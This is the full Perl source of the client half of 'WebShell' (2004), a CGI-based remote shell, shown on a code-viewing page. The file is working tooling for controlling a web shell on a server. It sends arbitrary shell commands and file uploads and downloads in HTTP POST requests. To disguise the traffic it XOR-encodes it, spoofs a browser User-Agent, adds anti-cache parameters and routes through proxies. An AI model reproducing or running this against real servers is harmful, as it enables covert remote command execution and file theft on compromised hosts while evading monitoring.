📄 wsh-c-http.pl
字号:
#!/bin/perl## wsh-c.pl - CGI based remote unix shell (client part)# # Authors:# Alex Dyatlov <alex [at] gray-world.net># Simon Castro <scastro [at] entreelibre.com>## This file is part of WebShell which is distributed under the terms of the GNU# General Public License v2.0 and is (c) copyright 2002,2003,2004 Alex Dyatlov# <alex [at] gray-world.net> and Simon Castro <scastro [at] entreelibre.com>.# See README and COPYING files for details or check http://gray-world.net## VERSION 2.2.0# July, 2004## INSTALL## Module Term::ReadLine::Gnu installation is recommended, get:# 1) readline-4.2a.tar.gz or later from# http://www.gnu.org/directory/readline.html# 2) ReadLine-Gnu-1.12.tar.gz or later from# http://search.cpan.org/search?dist=Term-ReadLine-Gnu## SHELL COMMANDS## exit as is# history show commands history# !<number> execute command with history <number># wshget <file> get <file> from remote host to local directory# wshput <file> put <file> from local directory to remote host# lect <lecter:> change to lecter on Win32 (ex: "lect d:")use strict;use IO::Socket;use Term::ReadLine;use POSIX qw(:sys_wait_h);#--- config - begin ----------------------------------->8--my $conf = "wsh-c.conf"; #- config filemy $http_port = 80; #- default HTTP portmy $proxy_port = 3128; #- default HTTP proxy portmy $shell_prompt = "wsh#";my $progres = ".";my $rand_range = 9999;my $readkbytes = 100;my %CONF;my %HOST;$CONF{use_proxy} = 0; #- default CONF..$CONF{agent} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)";$CONF{anticache} = 0;$CONF{encode} = 0;#--- config - end ------------------------------------->8--sub SetShellPrompt(); sub xor_invert(@); sub SendViaHTTP(); sub ebase64 ($;$);$ENV{PERL_RL} = " o=0"; # use best available ReadLine without ornamentsopen(CF, $conf) or die "unable to open config file $conf: $!";while(my $str = <CF>) { chomp($str); $str =~ s/(\s+)?#(.*)?//; if ($str =~ /(\S+)(\s+)(.+)/) { $CONF{$1} = $3; } else { next; }}close(CF);my $request = $ARGV[0];my $key = $ARGV[1];unless ($request && $key) { print "usage: $0 host[:port]/dir/script KEY\n\n"; exit -1;}my $hostname;if ($request =~ /^([^\/]+)(.*)/s) { $hostname = $1; $request = $2 if (!$CONF{use_proxy}); if ($hostname =~ /([^:]+):(.*)/) { $hostname = $1; $http_port = $2; }} else { die "\n* error: unable to parse hostname from $ARGV[0]\n\n";}if (!$CONF{use_proxy}) { if ($hostname !~ /\d+\.\d+\.\d+\.\d+/) { (my $name, my $aliases, my $addrtype, my $length, my @addrs) = gethostbyname($hostname) or die "unable to resolve hostname '$hostname'\n\n"; $HOST{ip} = join('.', unpack('C4', $addrs[0])); } else { $HOST{ip} = $hostname; } $HOST{port} = $http_port;} else { die "\n* error: proxy_ip is not specified in $conf" unless ($CONF{proxy_ip}); $HOST{ip} = $CONF{proxy_ip}; if ($CONF{port}) { $HOST{port} = $CONF{port}; } else { $HOST{port} = $proxy_port; } $request = "http://".$request;}my $term = Term::ReadLine->new("wsh");my $OUT = $term->OUT() || *STDOUT;if ($CONF{win32} == 1) { binmode $OUT; binmode STDOUT; }my $io = undef;my $file;my $size = 0;my $cmd = ($CONF{win32} == 1 ? "cd" : "pwd");my $slash = ($CONF{win32} == 1 ? "\\" : "/");my $amp = ";";my @h_list = my @msg = ();SendViaHTTP();$msg[1] =~ s/\s*$//s;my $pwd = $msg[1];my $lect = $pwd if ($CONF{win32} == 1);$lect =~ s/^([a-zA-Z]\:).*/$1/ if ($CONF{win32} == 1);my $shell_prompt_pwd = ($CONF{win32} ? "wsh:pwd>" : "wsh:[pwd]\#");SetShellPrompt() if ($CONF{showpwd} == 1);while (defined($cmd = $term->readline("$shell_prompt "))) { next if (length($cmd) == 0);# wsh commands --- begin exit 0 if ($cmd =~ /^exit$/s); if ($cmd =~ /^history$/s) { my $h_counter = 1; foreach (@h_list) { print $OUT " ".($h_counter++)."\t$_\n"; } next; } if ($cmd =~ /^\!(\d+)$/s) { ($1 > 0 && $1 <= scalar(@h_list)) ? $cmd = $h_list[$1-1] : next; } $io = undef; if ($cmd =~ /^wsh((get)|(put)) ['" ]*?([^'"]+)/s) { $io = $1; $file = $4; $size = 0; ($pwd =~ /[\/\\]$/s) ? $cmd = "wsh$io \"$pwd$file\"" : $cmd = "wsh$io \"$pwd$slash$file\""; if ($io =~ /put/) { unless (open(FH, $file)) { print "$file: $!\n"; next; } close(FH); $size = -s $file; } } if ($CONF{win32} == 1 && $cmd =~ /^lect ([a-zA-Z]\:)$/) { $pwd = $1.$slash; $lect = $1; $cmd = $1; SetShellPrompt() if ($CONF{showpwd} == 1); }# wsh commands --- end push(@h_list, $cmd); if ($cmd =~ /^cd ['"]?([^'";]+)$/s) { my $dir = $1; if ($CONF{win32} == 1) { $dir =~ s/\//$slash/g; $pwd = join($slash, ($pwd, $dir)); while ($pwd =~ /[^\\]+$slash\.\./) { $pwd =~ s/[^\\]+$slash\.\.//; $pwd =~ s/[\\]{2,}/$slash/g; $pwd =~ s/[\\]?$//s; $pwd =~ s/^([a-zA-Z])\:$/$1\:\\/s; } $pwd = $lect.$slash if ($pwd !~ /^[a-zA-Z]\:\\/); } else { if ($dir =~ /^\/$/) { $pwd = $dir; } else { $pwd = join($slash, ($pwd, $dir)); while ($pwd =~ /($slash$slash|\.\.|\.$|(^.+\/$))/) { $pwd =~ s/$slash{2,}/$slash/; $pwd =~ s/[^\/]+$slash\.\.//; $pwd =~ s/([^\/]+)$slash$/$1/; $pwd =~ s/\.$//; } } } SetShellPrompt() if ($CONF{showpwd} == 1); next; } unless (defined($io)) { if ($CONF{win32} == 1) { $cmd = "if exist $pwd ( $lect && cd $pwd && $cmd )". "else echo cd: $pwd: No such file or ". "directory"; } else { $cmd = "if [ -d '$pwd' ]$amp then cd '$pwd'$amp". "else echo 'cd: $pwd: No such file or ". "directory'$amp exit 0$amp fi$amp $cmd"; } } next if (!SendViaHTTP()); print $OUT $msg[1];}sub SetShellPrompt() { ($shell_prompt = $shell_prompt_pwd) =~ s/pwd/$pwd/g; return 1;}sub xor_invert(@) { my $buf = $_[0]; $buf =~ s/(.{1})/$1 ^ chr($CONF{invert})/esg; return $buf;}sub SendViaHTTP() { my $req; $cmd =~ s/\s*$//s; my $conl; if ($io =~ /((get)|(put))/) { $conl = $size; } else { $conl = length($cmd); } my $SOCKET = IO::Socket::INET->new( PeerAddr => $HOST{ip}, PeerPort => $HOST{port}, Proto => "tcp", Type => SOCK_STREAM) or die "\n* error: fail to connect to $HOST{ip}:$HOST{port}: $!"; ($CONF{anticache}) ? $req = "POST $request?".(int(rand($rand_range)))." HTTP/1.0" : $req = "POST $request HTTP/1.0"; $req = join("\r\n", $req, "Content-Type: application/octet-stream", "User-Agent: $CONF{agent}", "Host: $hostname", "Content-Length: $conl", "HTTP_X_KEY: $key" ); ($CONF{use_proxy}) ? $req = join("\r\n", $req, "Proxy-Connection: close", "Pragma: no-cache") : $req = join("\r\n", $req, "Connection: close"); if ($CONF{auth}) { my $auth_str = ebase64("$CONF{user}:$CONF{pass}", ""); $req = join("\r\n", $req, "Authorization: Basic $auth_str" ); } if ($CONF{use_proxy} && $CONF{proxyauth}) { my $auth_str = ebase64("$CONF{proxyuser}:$CONF{proxypass}", ""); $req = join("\r\n", $req, "Proxy-Authorization: Basic $auth_str" ); } if ($io =~ /put/ || $io =~/get/) { $req = join("\r\n", $req, "HTTP_X_FILE$io: $pwd$slash$file", "\r\n"); } else { $cmd = xor_invert($cmd) if ($CONF{encode} == 1); $req = join("\r\n\r\n", $req, $cmd); } if ($CONF{win32} == 1) { binmode $SOCKET, } print $SOCKET $req; if ($io =~ /put/) { unless (open(FH, $file)) { print "$file: $!\n"; return 0; } if ($CONF{win32} == 1) { binmode FH; } while ((my $bytes = read(FH, my $buf, $readkbytes * 1024, my $position))) { $position += $bytes; $buf = xor_invert($buf) if ($CONF{encode} == 1); while ($bytes) { unless ($b = syswrite($SOCKET, $buf, $bytes)) { print $OUT "\n* error: fail to send file $file\n"; return 0; } $buf = substr($buf, $b, $bytes - $b) if ($bytes != $b); $bytes -= $b; } syswrite($OUT, $progres, length($progres)); } print $OUT "\n"; close(FH); } my $cl = 0; @msg = (); while (my $str = <$SOCKET>) { last if ($str =~ /^\s*?$/s); $msg[0] = $msg[0].$str; } $msg[0] =~ /^[^ ]+ 200/s or die "\n* error: host $HOST{ip} answer:\n$msg[0]\n"; if ($io =~ /get/) { unless (open(FH, "> $file")) { print $OUT "\n* error: fail to get file $file: $!\n"; close($SOCKET); return 0; } if ($CONF{win32} == 1) { binmode FH; } while (my $bytes = read($SOCKET, my $buf, $readkbytes * 1024)) { my $b = 0; $buf = xor_invert($buf) if ($CONF{encode} == 1); while ($bytes) { unless ($b = syswrite(FH, $buf, $bytes)) { print $OUT "\n* error: fail to get file $file\n"; return 0; } $bytes -= $b; } syswrite($OUT, $progres, length($progres)); } print $OUT "\n"; close(FH); close($SOCKET); return 1; } $cl = length($msg[0]) + 4; if ($msg[0] =~ /Content-Length: (\d+)/s) { $cl += $1; } else { $cl = -1; } while (my $str = <$SOCKET>) { $msg[1] = $msg[1].$str; last if ($cl > 0 && length($msg[0].$msg[1])+4 >= $cl); } $msg[1] = xor_invert($msg[1]) if ($CONF{encode} == 1); close($SOCKET); return 1;}sub ebase64 ($;$) { my $res = ""; my $eol = $_[1]; $eol = "\n" unless defined $eol; pos($_[0]) = 0; while ($_[0] =~ /(.{1,45})/gs) {$res .= substr(pack('u', $1),1);chop($res);} $res =~ tr|` -_|AA-Za-z0-9+/|; my $padding = (3 - length($_[0]) % 3) % 3; $res =~ s/.{$padding}$/'=' x $padding/e if $padding; if (length $eol) {$res =~ s/(.{1,76})/$1$eol/g;} $res;}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -